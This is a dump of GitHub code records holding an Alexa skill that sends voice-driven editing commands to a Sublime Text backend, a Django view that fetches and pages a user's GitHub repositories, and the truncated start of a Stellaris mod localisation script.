"line_number": 523, "usage_type": "name"}, {"api_name": "summ.select_sent.select_end2end", "line_number": 529, "usage_type": "call"}, {"api_name": "summ.select_sent", "line_number": 529, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.RR_MODEL_NAME_BERT", "line_number": 534, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 534, "usage_type": "name"}, {"api_name": "summ.compute_rouge.compute_rouge", "line_number": 537, "usage_type": "call"}, {"api_name": "summ.compute_rouge", "line_number": 537, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.USE_TEXT", "line_number": 546, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 546, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.TEXT_DIR_NAME", "line_number": 547, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 547, "usage_type": "name"}, {"api_name": "utils.config_loader.path_parser.summary_text", "line_number": 548, "usage_type": "attribute"}, {"api_name": "utils.config_loader.path_parser", "line_number": 548, "usage_type": "name"}, {"api_name": "frame.unilm_utils.unilm_eval.UniLMEval", "line_number": 554, "usage_type": "call"}, {"api_name": "bert_rr.rr_config", "line_number": 554, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.override_glob_vars", "line_number": 570, "usage_type": "call"}, {"api_name": "bert_rr.rr_config", "line_number": 570, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 583, "usage_type": "call"}, {"api_name": "utils.config_loader.path_parser.summary_rank", "line_number": 583, "usage_type": "attribute"}, {"api_name": "utils.config_loader.path_parser", "line_number": 583, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.RR_RANK_DIR_NAME_BERT", "line_number": 583, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 583, "usage_type": "name"}, {"api_name": "bert_rr.rr_config", "line_number": 590, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.PREPEND_LEN", "line_number": 595, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 595, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.PREPEND_QUERY", "line_number": 596, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 596, "usage_type": "name"}, {"api_name": "frame.unilm_utils.unilm_input.UniLMInput", "line_number": 598, "usage_type": "call"}]}
{"seq_id": "28118445665", "text": "\"\"\"\nSkill for Python Developer Buddy Application\n\"\"\"\n\nfrom __future__ import print_function\nimport urllib\nfrom urllib import request, parse\nimport json\n\n\n# --------------- Helpers that build all of the responses ----------------------\n\ndef build_speechlet_response(title, output, reprompt_text, should_end_session):\n    return {\n        'outputSpeech': {\n            'type': 'PlainText',\n            'text': output\n        },\n        'card': {\n            'type': 'Simple',\n            'title': \"SessionSpeechlet - \" + title,\n            'content': \"SessionSpeechlet - \" + output\n        },\n        'reprompt': {\n            'outputSpeech': {\n                'type': 'PlainText',\n                'text': reprompt_text\n            }\n        },\n        'shouldEndSession': should_end_session\n    }\n\n\ndef build_response(session_attributes, speechlet_response):\n    return {\n        'version': '1.0',\n        'sessionAttributes': session_attributes,\n        'response': speechlet_response\n    }\n\n\n# --------------- Functions that control the skill's behavior ------------------\n\ndef get_welcome_response():\n    \"\"\" If we wanted to initialize the session to have some attributes we could\n    add those here\n    \"\"\"\n\n    session_attributes = create_addition_counter()\n    card_title = \"Welcome\"\n    speech_output = \"Welcome to developer buddy. \" \\\n                    \"How can I help you write some code\"\n    # If the user either does not reply to the welcome message or says something\n    # that is not understood, they will be prompted again with this text.\n    reprompt_text = \"Please tell me how can I help you write some code\"\n    should_end_session = False\n    return build_response(session_attributes, build_speechlet_response(\n        card_title, speech_output, reprompt_text, should_end_session))\n\n\ndef handle_session_end_request():\n    card_title = \"Session Ended\"\n    speech_output = \"Thank you for using develper buddy. \" \\\n                    \"Have a nice day! \"\n    # Setting this to true ends the session and exits the skill.\n    should_end_session = True\n    return build_response({}, build_speechlet_response(\n        card_title, speech_output, None, should_end_session))\n\n\ndef create_addition_counter():\n    return {\"additions\": 0}\n\ndef increment_addition_counter():\n    return {\"additions\": 1}\n\ndef add_to_list(intent, session):\n    \"\"\" Adds an item to a specified list\n    \"\"\"\n\n    card_title = \"Success\"#intent['name']\n    session_attributes = {}\n    should_end_session = True\n\n    if 'tag_name' in intent['slots']:\n        tag_name = intent['slots']['tag_name']['value']\n\n        if 'update_item' in intent['slots']:\n\n            update_item = intent['slots']['update_item']['value']\n\n            list_name = tag_name\n            if 'list_name' in intent['slots']:\n                list_name = intent['slots']['list_name']['value']\n\n            populated_url = \"http://34.201.91.109:8080/alexa\"\n            post_params = {\"tag_name\": tag_name, \"list_name\": list_name, \"message_body\": update_item}\n         \n            # encode the parameters for Python's urllib\n            data = parse.urlencode(post_params).encode()\n            req = request.Request(populated_url)\n         \n            # add authentication header to request based on Account SID + Auth Token\n            # authentication = \"{}:{}\".format(TWILIO_ACCOUNT_SID, TWILIO_AUTH_TOKEN)\n            # base64string = base64.b64encode(authentication.encode('utf-8'))\n            # req.add_header(\"Authorization\", \"Basic %s\" % base64string.decode('ascii'))\n         \n            try:\n                # perform HTTP POST request\n                with request.urlopen(req, data) as f:\n                    print(\"@List returned {}\".format(str(f.read().decode('utf-8'))))\n            except Exception as e:\n                # something went wrong!\n                return e\n\n\n            session_attributes = increment_addition_counter()\n            speech_output = \"Okay. I added that to \" + \\\n                            tag_name + \\\n                            \". You can ask me to do another addition to a list.\"\n            reprompt_text = \"You can ask me to do another addition to a list.\"\n        else:\n            speech_output = \"I did not understand the item you wanted to add to \" + \\\n                            tag_name + \\\n                            \"Please try again.\"\n            reprompt_text = \"I did not understand the item you wanted to add to \" + \\\n                            tag_name + \\\n                            \"Please try again.\" + \\\n                            \"You can tell me a tag name by saying, \" + \\\n                            \"add to a specific tag\"\n    else:\n        speech_output = \"I did not understand the tag name you used. \" + \\\n                        \"Please try again.\"\n        reprompt_text = \"I did not understand the tag name you used. \" + \\\n                        \"You can tell me a tag name by saying, \" + \\\n                        \"add to a specific tag\"\n    return build_response(session_attributes, build_speechlet_response(\n        card_title, speech_output, reprompt_text, should_end_session))\n\n\ndef post_data(params):\n    populated_url = \"https://4a6aa2e2.ngrok.io\"\n    \n    encoded_json = (json.dumps(params)).encode(\"utf-8\")\n    req = request.Request(populated_url, data = encoded_json)\n    try:\n        # perform HTTP POST request\n        with request.urlopen(req) as f:\n            return \"Sublime Returned: {}\".format(str(f.read().decode('utf-8')))\n    except Exception as e:\n        # something went wrong!\n        return e\n\n\n\ndef select_line(intent, session):\n    card_title = \"Success\"#intent['name']\n    session_attributes = {}\n    should_end_session = True\n\n    if 'line_number' in intent['slots']:\n        line_number = int(intent['slots']['line_number']['value'])\n\n        post_params = {\"command\":\"select_line\", \"params\": {\"line\":line_number}}\n        post_data(post_params)\n\n        session_attributes = increment_addition_counter()\n        speech_output = \"Okay. I selected line \" + str(line_number) + \\\n                            \". You can ask me to help write more code.\"\n        reprompt_text = \" You can ask me to help write more code.\"\n\n    return build_response(session_attributes, build_speechlet_response(\n        card_title, speech_output, reprompt_text, should_end_session))\n\n\n\n\ndef find_all_selected(intent, session):\n    card_title = \"Success\"#intent['name']\n    session_attributes = {}\n    should_end_session = True\n\n    post_params = {\"command\":\"findAllSelected\", \"params\": {}}\n    post_data(post_params)\n\n    session_attributes = increment_addition_counter()\n    speech_output = \"Okay. I found all occurrences\" + \\\n                        \". You can ask me to help write more code.\"\n    reprompt_text = \" You can ask me to help write more code.\"\n\n    return build_response(session_attributes, build_speechlet_response(\n        card_title, speech_output, reprompt_text, should_end_session))\n\n\n\ndef comment_line(intent, session):\n    \"\"\" \n    Comments line in a sublime window. line_number is the input within intent\n    \"\"\"\n\n    card_title = \"Success\"#intent['name']\n    session_attributes = {}\n    should_end_session = True\n\n    if 'line_number' in intent['slots']:\n        line_number = int(intent['slots']['line_number']['value'])\n\n        post_params = {\"command\":\"commentLine\", \"params\": {\"line\":line_number}}\n        post_data(post_params)\n\n        session_attributes = increment_addition_counter()\n        speech_output = \"Okay. I commented line \" + \\\n                        str(line_number) + \\\n                        \". You can ask me to help write more code.\"\n        reprompt_text = \" You can ask me to help write more code.\"\n\n    else:\n        speech_output = \"I did not understand the line number you used. \" + \\\n                        \"Please try again.\"\n        reprompt_text = \"I did not understand the line number you used. \" + \\\n                        \"You can tell me to comment a line by saying, \" + \\\n                        \"comment line and then say the line number\"\n    return build_response(session_attributes, build_speechlet_response(\n        card_title, speech_output, reprompt_text, should_end_session))\n\n\n\ndef comment_lines(intent, session):\n    \"\"\" \n    Comments lines in a sublime window. line_number_1 and line_number_2 are the inputs within intent\n    \"\"\"\n\n    card_title = \"Success\"#intent['name']\n    session_attributes = {}\n    should_end_session = True\n\n    if 'line_number' in intent['slots']:\n        start_line = intent['slots']['start_line']['value']\n        end_line = intent['slots']['end_line']['value']\n\n\n        populated_url = \"https://4a6aa2e2.ngrok.io\"\n        post_params = {\"command\":\"commentLine\", \"params\": {\"startLine\":start_line, \"endLine\":end_line}}\n        print(json.dumps(post_params))\n        encoded_json = (json.dumps(post_params)).encode(\"utf-8\")\n        req = request.Request(populated_url, data = encoded_json)\n        try:\n            # perform HTTP POST request\n            with request.urlopen(req) as f:\n                print(\"@List returned {}\".format(str(f.read().decode('utf-8'))))\n        except Exception as e:\n            # something went wrong!\n            return e\n\n\n        session_attributes = increment_addition_counter()\n        speech_output = \"Okay. I commented lines \" + \\\n                        str(line_number_1) + \" to \" + str(line_number_2) + \\\n                        \". You can ask me to help write more code.\"\n        reprompt_text = \" You can ask me to help write more code.\"\n\n    else:\n        speech_output = \"I did not understand the line numbers you used. \" + \\\n                        \"Please try again.\"\n        reprompt_text = \"I did not understand the line numbers you used. \" + \\\n                        \"You can tell me to comment a line by saying, \" + \\\n                        \"comment lines and then say the line numbers\"\n    return build_response(session_attributes, build_speechlet_response(\n        card_title, speech_output, reprompt_text, should_end_session))\n\n\n\ndef get_lists_from_tag(intent, session):\n    session_attributes = {}\n    reprompt_text = None\n\n    if 'tag_name' in intent['slots']:\n        tag_name = intent['slots']['tag_name']['value']\n\n        populated_url = \"http://34.201.91.109:8080/alexaListFromTag?tag_name=\"+tag_name\n        # encode the parameters for Python's urllib\n        req = request.Request(populated_url)\n        try:\n            # perform HTTP POST request\n            with request.urlopen(req) as f:\n                response = str(f.read().decode('utf-8'))\n                print(\"@List returned {}\".format(str(f.read().decode('utf-8'))))\n                speech_output = \"The lists included in the \" + tag_name + \" tag are \" + response\n                should_end_session = True\n        except Exception as e:\n            # something went wrong!\n            return e\n    else:\n        speech_output = \"I did not understand the tag name you used. \" + \\\n                        \"Please try again.\"\n        reprompt_text = \"I did not understand the tag name you used. \" + \\\n                        \"You can tell me a tag name by saying, \" + \\\n                        \"add to a specific tag\"\n        should_end_session = False\n\n    # Setting reprompt_text to None signifies that we do not want to reprompt\n    # the user. If the user does not respond or says something that is not\n    # understood, the session will end.\n    return build_response(session_attributes, build_speechlet_response(\n        intent['name'], speech_output, reprompt_text, should_end_session))\n\n\n# --------------- Events ------------------\n\ndef on_session_started(session_started_request, session):\n    \"\"\" Called when the session starts \"\"\"\n\n    print(\"on_session_started requestId=\" + session_started_request['requestId']\n          + \", sessionId=\" + session['sessionId'])\n\n\ndef on_launch(launch_request, session):\n    \"\"\" Called when the user launches the skill without specifying what they\n    want\n    \"\"\"\n\n    print(\"on_launch requestId=\" + launch_request['requestId'] +\n          \", sessionId=\" + session['sessionId'])\n    # Dispatch to your skill's launch\n    return get_welcome_response()\n\n\ndef on_intent(intent_request, session):\n    \"\"\" Called when the user specifies an intent for this skill \"\"\"\n\n    print(\"on_intent requestId=\" + intent_request['requestId'] +\n          \", sessionId=\" + session['sessionId'])\n\n    intent = intent_request['intent']\n    intent_name = intent_request['intent']['name']\n\n    # Dispatch to your skill's intent handlers\n    if intent_name == \"CommentLineIntent\":\n        return comment_line(intent, session)\n    elif intent_name == \"CommentLinesIntent\":\n        return comment_lines(intent, session)\n    elif intent_name == \"AllListsFromTagIntent\":\n        return get_lists_from_tag(intent, session)\n    elif intent_name == \"FindAllSelectedIntent\":\n        return find_all_selected(intent, session)\n    elif intent_name == \"SelectLineIntent\":\n        return select_line(intent, session)\n    elif intent_name == \"AMAZON.HelpIntent\":\n        return get_welcome_response()\n    elif intent_name == \"AMAZON.CancelIntent\" or intent_name == \"AMAZON.StopIntent\":\n        return handle_session_end_request()\n    else:\n        raise ValueError(\"Invalid intent\")\n\n\ndef on_session_ended(session_ended_request, session):\n    \"\"\" Called when the user ends the session.\n\n    Is not called when the skill returns should_end_session=true\n    \"\"\"\n    print(\"on_session_ended requestId=\" + session_ended_request['requestId'] +\n          \", sessionId=\" + session['sessionId'])\n    # add cleanup logic here\n\n\n# --------------- Main handler ------------------\n\ndef lambda_handler(event, context):\n    \"\"\" Route the incoming request based on type (LaunchRequest, IntentRequest,\n    etc.) The JSON body of the request is provided in the event parameter.\n    \"\"\"\n    print(\"event.session.application.applicationId=\" +\n          event['session']['application']['applicationId'])\n\n    \"\"\"\n    Uncomment this if statement and populate with your skill's application ID to\n    prevent someone else from configuring a skill that sends requests to this\n    function.\n    \"\"\"\n    # if (event['session']['application']['applicationId'] !=\n    #         \"amzn1.echo-sdk-ams.app.[unique-value-here]\"):\n    #     raise ValueError(\"Invalid Application ID\")\n\n    if event['session']['new']:\n        on_session_started({'requestId': event['request']['requestId']},\n                           event['session'])\n\n    if event['request']['type'] == \"LaunchRequest\":\n        return on_launch(event['request'], event['session'])\n    elif event['request']['type'] == \"IntentRequest\":\n        return on_intent(event['request'], event['session'])\n    elif event['request']['type'] == \"SessionEndedRequest\":\n        return on_session_ended(event['request'], event['session'])\n\nif __name__ == '__main__':\n    # get_welcome_response()\n    intent = {\n        #\"name\": \"CommentLineIntent\",\n        \"name\": \"FindAllSelectedIntent\",\n        \"slots\": {\n              \"line_number\" : {\"value\":365},\n              #\"update_item\": {\"value\":\"smash raj\"},\n              #\"list_name\": {\"value\":\"nicknames\"}\n            }\n        }\n    #intent['slots']['tag_name']['value'] = \"books\"\n    #intent['slots']['update_item']['value'] = \"from many to one\"\n    print(intent)\n    #add_to_list(intent, {})\n    # print(comment_line(intent, {}))\n    find_all_selected(intent, {})", "repo_name": "neeasthana/DeveloperBuddy", "sub_path": "alexa/lambdaInvokeDeveloperBuddy.py", "file_name": "lambdaInvokeDeveloperBuddy.py", "file_ext": "py", "file_size_in_byte": 15423, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "urllib.parse.urlencode", "line_number": 100, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 100, "usage_type": "name"}, {"api_name": "urllib.request.Request", "line_number": 101, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 101, "usage_type": "name"}, {"api_name": "urllib.request.urlopen", "line_number": 110, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 110, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 144, "usage_type": "call"}, {"api_name": "urllib.request.Request", "line_number": 145, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 145, "usage_type": "name"}, {"api_name": "urllib.request.urlopen", "line_number": 148, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 148, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 244, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 245, "usage_type": "call"}, {"api_name": "urllib.request.Request", "line_number": 246, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 246, "usage_type": "name"}, {"api_name": "urllib.request.urlopen", "line_number": 249, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 249, "usage_type": "name"}, {"api_name": "urllib.request.Request", "line_number": 282, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 282, "usage_type": "name"}, {"api_name": "urllib.request.urlopen", "line_number": 285, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 285, "usage_type": "name"}]}
{"seq_id": "71826343306", "text": "from django.contrib.auth.decorators import login_required\nfrom django.core.paginator import Paginator\nfrom django.http import JsonResponse\nfrom django.shortcuts import render, redirect\nfrom social_django.models import UserSocialAuth\n\nimport datetime\nimport json\nimport requests\nimport time\n\nfrom .models import Repos\n\n\n# Application Url\nGITHUB_APP_URL = 'https://fast-peak-45295.herokuapp.com'\n\n\ndef home(request):\n    user = request.user\n    try:\n        github_login = user.social_auth.get(provider='github')\n    except Exception:\n        github_login = False\n\n    return render(request, 'examples/home.html', {\n        'app_url': GITHUB_APP_URL,\n        'github_login': github_login,\n    })\n\n\n@login_required\ndef settings(request):\n    user = request.user\n\n    try:\n        github_login = user.social_auth.get(provider='github')\n    except UserSocialAuth.DoesNotExist:\n        github_login = None\n\n    can_disconnect = (user.social_auth.count() >= 1)\n\n    return render(request, 'examples/settings.html', {\n        'github_login': github_login,\n        'can_disconnect': can_disconnect,\n        'app_url': GITHUB_APP_URL\n    })\n\n\n@login_required\ndef get_repositories(request):\n    user = request.user\n    try:\n        github_login = user.social_auth.get(provider='github')\n        response = requests.get(\n            'https://api.github.com/users/' +\n            github_login.extra_data.get('login')+'/repos'\n            )\n        repos_data = response.content.decode()\n        repos_data = json.JSONDecoder().decode(repos_data)\n\n        repo_user_id = -1\n        if repos_data != '':\n            repo_user_id = repos_data[0]['owner']['id']\n        else:\n            # no public repository data\n            return JsonResponse({'message': 'No public repository data'})\n\n        # check how long ago it's fetched to do a re-fetch\n        recently_fetched_time = datetime.datetime.now()\n        recently_fetched_time -= datetime.timedelta(minutes=15)\n        recently_fetched_time = time.mktime(recently_fetched_time.timetuple())\n\n        repo_user_id_int = int(repo_user_id)\n        repos_obj = None\n        try:\n            repos_obj = Repos.objects.filter(repo_user_id=repo_user_id_int)\n            # if record exists\n            if len(repos_obj) > 0:\n                if recently_fetched_time < repos_obj[0].fetched_time:\n                    return redirect('get_repos_view', repo_user_id)\n                else:\n                    # clear records\n                    delete_repos(repos_obj)\n        except Exception:\n            # Error in formatting: OperationalError: no such table: examples_repos\n            pass\n\n        # get list of repos from above current response\n        avatar_url = repos_data[0]['owner']['avatar_url'] \\\n            if len(repos_data) > 0 else ''\n\n        # process and append\n        current_repos_info = extract_repos_info(response)\n\n        # store repository info in db\n        repos_obj = Repos()\n        repos_obj.repo_names = current_repos_info\n        repos_obj.repo_user_id = repo_user_id\n        repos_obj.avatar_url = avatar_url\n        repos_obj.fetched_time = int(time.time())\n        repos_obj.save()\n\n        # retrieve url and num of pages to fetch next set of data\n\n        # get rate_limit info from response headers\n        # limit per hour\n        rate_limit_rem = int(response.headers['X-RateLimit-Remaining'])\n\n        url_data = response.headers['Link']\n        url_data_parts = url_data.split(',')\n        url_data_next = ''\n        url_data_last = ''\n        if 'next' in url_data_parts[0]:\n            url_data_next = url_data_parts[0].split(';')\n            url_data_last = url_data_parts[1].split(';')\n        elif 'next' in url_data_parts[1]:\n            url_data_next = url_data_parts[1].split(';')\n            url_data_last = url_data_parts[0].split(';')\n\n        next_repo_url = url_data_next[0][1:-1]\n\n        last_repo_url = url_data_last[0][1:-1]\n        last_repo_url_parts = last_repo_url.split('?')\n\n        # 'page=<last_page_num>'\n        total_pages_data = last_repo_url_parts[1].split('=')\n\n        total_pages_num = int(total_pages_data[1])\n\n        # fetch data in loop\n        min_pages = min(total_pages_num, rate_limit_rem)\n        page_pos = 2\n        while page_pos <= min_pages:\n            repos_response = requests.get(next_repo_url)\n\n            more_repos_info = extract_repos_info(repos_response)\n\n            # store data in db\n            repos_obj = Repos()\n            repos_obj.repo_names = more_repos_info\n            repos_obj.repo_user_id = repo_user_id\n            repos_obj.avatar_url = avatar_url\n            repos_obj.fetched_time = int(time.time())\n            repos_obj.save()\n\n            # get new set of data\n            next_repo_url = get_next_repos_url(repos_response)\n            page_pos += 1\n\n        return redirect('get_repos_view', repo_user_id)\n    except UserSocialAuth.DoesNotExist:\n        error_info = {'error': 'Github data doesnot exist', 'avatar_url': '',\n                      'list_repos': [], 'username': ''}\n        return JsonResponse(error_info)\n        \"\"\"return render(request, 'examples/repos.html', error_info)\"\"\"\n\n\ndef get_next_repos_url(response):\n    url_data = response.headers['Link']\n    url_data_parts = url_data.split(',')\n    url_data_next = ''\n    for each_part in url_data_parts:\n        if 'next' in each_part:\n            url_data_next = each_part.split(';')\n    next_repo_url = '' if url_data_next == '' else url_data_next[0].strip()[1:-1]\n    return next_repo_url\n\n\ndef extract_repos_info(response):\n    repos_data = response.content.decode()\n    list_of_repos = []\n    repos_data = json.JSONDecoder().decode(repos_data)\n    for each in repos_data:\n        list_of_repos.append(each['name'])\n    return list_of_repos\n\n\ndef delete_repos(repos_obj=None):\n    # empty repos info\n    if repos_obj == None:\n        repos_obj = Repos.objects.all()\n    for each in repos_obj:\n        each.delete()\n\n\n@login_required\ndef get_repos_view(request, repo_user_id):\n    user = request.user\n    github_login = user.social_auth.get(provider='github')\n    repo_user_id_int = int(repo_user_id)\n    repos_data = Repos.objects.filter(repo_user_id=repo_user_id_int)\n    paginator = Paginator(repos_data, 1)\n    avatar_url = paginator.object_list[0].avatar_url\n    page_number = request.GET.get('page')\n    page_obj = paginator.get_page(page_number)\n    resp_data = {'page_obj': page_obj, 'github_login': github_login,\n                 'app_url': GITHUB_APP_URL, 'avatar_url': avatar_url,\n                 'repo_user_id': repo_user_id_int}\n    return render(request, 'examples/repos.html', resp_data)\n", "repo_name": "ShriramK/github-repository-info", "sub_path": "github_repository_info/apps/examples/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 6630, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.shortcuts.render", "line_number": 26, "usage_type": "call"}, {"api_name": "social_django.models.UserSocialAuth.DoesNotExist", "line_number": 38, "usage_type": "attribute"}, {"api_name": "social_django.models.UserSocialAuth", "line_number": 38, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 43, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 32, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 55, "usage_type": "call"}, {"api_name": "json.JSONDecoder", "line_number": 60, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 67, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 70, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 70, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 71, "usage_type": "call"}, {"api_name": "time.mktime", "line_number": 72, "usage_type": "call"}, {"api_name": "models.Repos.objects.filter", "line_number": 77, "usage_type": "call"}, {"api_name": "models.Repos.objects", "line_number": 77, "usage_type": "attribute"}, {"api_name": "models.Repos", "line_number": 77, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 81, "usage_type": "call"}, {"api_name": "models.Repos", "line_number": 97, "usage_type": "call"}, {"api_name": "time.time", "line_number": 101, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 135, "usage_type": "call"}, {"api_name": "models.Repos", "line_number": 140, "usage_type": "call"}, {"api_name": "time.time", "line_number": 144, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 151, "usage_type": "call"}, {"api_name": "social_django.models.UserSocialAuth.DoesNotExist", "line_number": 152, "usage_type": "attribute"}, {"api_name": "social_django.models.UserSocialAuth", "line_number": 152, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 155, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 50, "usage_type": "name"}, {"api_name": "json.JSONDecoder", "line_number": 173, "usage_type": "call"}, {"api_name": "models.Repos.objects.all", "line_number": 182, "usage_type": "call"}, {"api_name": "models.Repos.objects", "line_number": 182, "usage_type": "attribute"}, {"api_name": "models.Repos", "line_number": 182, "usage_type": "name"}, {"api_name": "models.Repos.objects.filter", "line_number": 192, "usage_type": "call"}, {"api_name": "models.Repos.objects", "line_number": 192, "usage_type": "attribute"}, {"api_name": "models.Repos", "line_number": 192, "usage_type": "name"}, {"api_name": "django.core.paginator.Paginator", "line_number": 193, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 200, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 187, "usage_type": "name"}]}
{"seq_id": "72426209545", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n## USAGE: You need install https://pyyaml.org/wiki/PyYAMLDocumentation for Python3.x\n## ATTENTION: You must customize the vars localModPath and local_OVERHAUL\n## TODO: Renaming (already translated) keys is not working\nimport os\nimport io\nimport tkinter as tk\nfrom tkinter import messagebox\nimport traceback\n# import sys\n# import json\n# from ruamel.yaml import YAML\n# from ruamel.yaml.compat import StringIO\nimport yaml\nimport re\nimport glob\n# yaml=YAML(typ='safe')\n\n# Write here your mod folder name\n# localModPath = \"ADeadlyTempest\"\n# localModPath = \"Decentralized Empires\"\nlocalModPath = \"starbasestrong\"\nlocalizations = [\"english\", \"german\", \"russian\", \"spanish\", \"braz_por\", \"french\", \"polish\", \"simp_chinese\"]\nlocal_OVERHAUL = [\"russian\", \"braz_por\", \"french\", \"polish\", \"simp_chinese\"]\nprint(localModPath)\n\n# localizations = [\"english\", \"russian\"]\n\n# def abort(message):\n# \tmBox('abort', message, 0)\n# \tsys.exit(1)\n\n\ndef mBox(type, text):\n\ttk.Tk().withdraw()\n\tstyle = not type and messagebox.showinfo or type == 'Abort' and messagebox.showwarning or messagebox.showerror\n\tstyle(title=type, message=text)\n\n\ndef iBox(title, prefil, master):\n\tanswer = filedialog.askdirectory(\n\t\tinitialdir=prefil,\n\t\ttitle=title,\n\t\tparent=master)\n\treturn answer\n\n# mods_registry = \"mods_registry.json\" # old launcher (changed in 2.7.2) \nmods_registry = \"settings.txt\"\n\n# Check Stellaris settings location\nsettingsPath = [\n\t\".\", \"..\",\n\tos.path.join(os.path.expanduser('~'), 'Documents', 'Paradox Interactive', 'Stellaris'),\n\tos.path.join(os.path.expanduser('~'), '.local', 'share', 'Paradox Interactive', 'Stellaris')\n]\n\nsettingsPath = [s for s in settingsPath if os.path.isfile(os.path.join(s, mods_registry))]\n# for s in settingsPath:\n# \tif os.path.isfile(os.path.join(s, mods_registry)):\n# \t\tsettingsPath[0] = s\n# \t\tbreak\nprint(settingsPath)\n\nif len(settingsPath):\n\tsettingsPath = settingsPath[0]\nelse:\n\tfrom tkinter import filedialog\n\tmBox('Error', 'Unable to locate ' + mods_registry)\n\tsettingsPath = iBox(\n\t\t\"Please select the Stellaris settings folder:\", settingsPath[0])\n\n# mods_registry = os.path.join(settingsPath, mods_registry)\n\nlocalModPath = os.path.join(settingsPath, \"mod\", localModPath, \"localisation\")\n\nos.chdir(localModPath)\n\nregRev1 =re.compile(r'^ +\\\"([^:\"\\s]+)\\\": ', re.MULTILINE)\nregRev2 = re.compile(r'(?:\\'|([^:\"]{2}))\\'?$', re.MULTILINE)\n\ndef tr(s):\n\tprint(type(s),len(s))\n\tif type(s) is bytes: s = s.decode('utf-8-sig')\n\t# s = re.sub('\\n', '\\\\n', s)\n\ts = s.replace('\\\\r?\\\\n', 'BRR')\n\t# s = s.replace(\"\\\"\", '”')\n\ts = s.replace(\"\\'\", '’')\n\t# s = s.replace(\":\", '…')\n\t# s = re.sub(r'\\\\n', '\\\\n', s)\n\treturn re.sub(r':[0-2] ', ': ', s)\n\n\ndef trReverse(s):\n\t\"Paradox workaround\"\n\tprint(type(s))\n\tif type(s) is bytes: s = s.decode('utf-8-sig')\n\ts = s.replace('\\r\\n', '\\n') # Windows\n\ts = s.replace('  ', ' ')\n\ts = re.sub(r'BRR *', r'\\\\n', s)\n\ts = re.sub(regRev1, r' \\g<1>:0 ', s) # add 0 to keys\n\ts = re.sub(re.compile(r'^\"(l_\\S+)\":\\n'), r'\\1:\\n', s)\n\t# s = s.replace(\"”\", \"\\\"\")\n\ts = s.replace(\"’\", \"\\'\")\n\t# s = s.replace(\"…\", ':')\n\t# s = re.sub(regRev2, r'\\1\"', s)\n\treturn s\n\n\ndef getYAMLstream(lang, filename):\n\t\"Read YAML file\"\n\tif lang != \"english\":\n\t\tfilename = filename.replace(\"english\", lang)\n\tlang = os.path.join(os.getcwd(), filename)\n\t# print(lang)\n\tif os.path.isfile(lang):\n\t\treturn io.open(lang, \"rb\") # \"rb\" , encoding='utf-8-sig'\n\n\ndef writeStream(lang, stream, filename):\n\t\"Write YAML file\"\n\tfilename = filename.replace(\"english\", lang)\n\tif not os.path.isdir(lang):\n\t\ttry:\n\t\t\tos.mkdir(lang)\n\t\texcept OSError:\n\t\t\tprint (\"Creation of the directory %s failed\" % lang)\n\t\telse:\n\t\t\tprint (\"Successfully created the directory %s \" % lang)\n\tlang = os.path.join(os.getcwd(), filename)\n\tprint(lang, os.path.isfile(lang))\n\t# if not os.path.isfile(lang):\n\tif type(stream) is bytes: stream = stream.decode('utf-8-sig')\n\twith io.open(lang, 'w', encoding='utf-8-sig') as f:\n\t\tf.write(stream)\n\t\t# yaml.dump(stream, f, indent=1)\n\n# yaml = ruamel.yaml.YAML(typ='safe')\nyaml.default_flow_style = False\nyaml.allow_unicode = True\n# yaml.indent = 0\n# yaml.allow_duplicate_keys = False\n# if __name__ == '__main__':\n# yaml.warnings({'YAMLLoadWarning': False})\n\n#CrisisManagerEvent_l_english ,'**'\nfor filename in glob.iglob(os.path.join('english', '*.yml'), recursive=False):\n\tprint(filename)\n\tstreamEn = getYAMLstream(localizations[0], filename)\n\tstreamEn = streamEn.read()\n\t# print(streamEn)\n\tdictionary = {}\n\t# try:\n\t# \tprint(type(dictionary),dictionary)\n\t# \t# print(dictionary[\"ï»¿l_english\"])\n\t# except yaml.YAMLError as exc:\n\t# \tprint(exc)\n\t# doc = 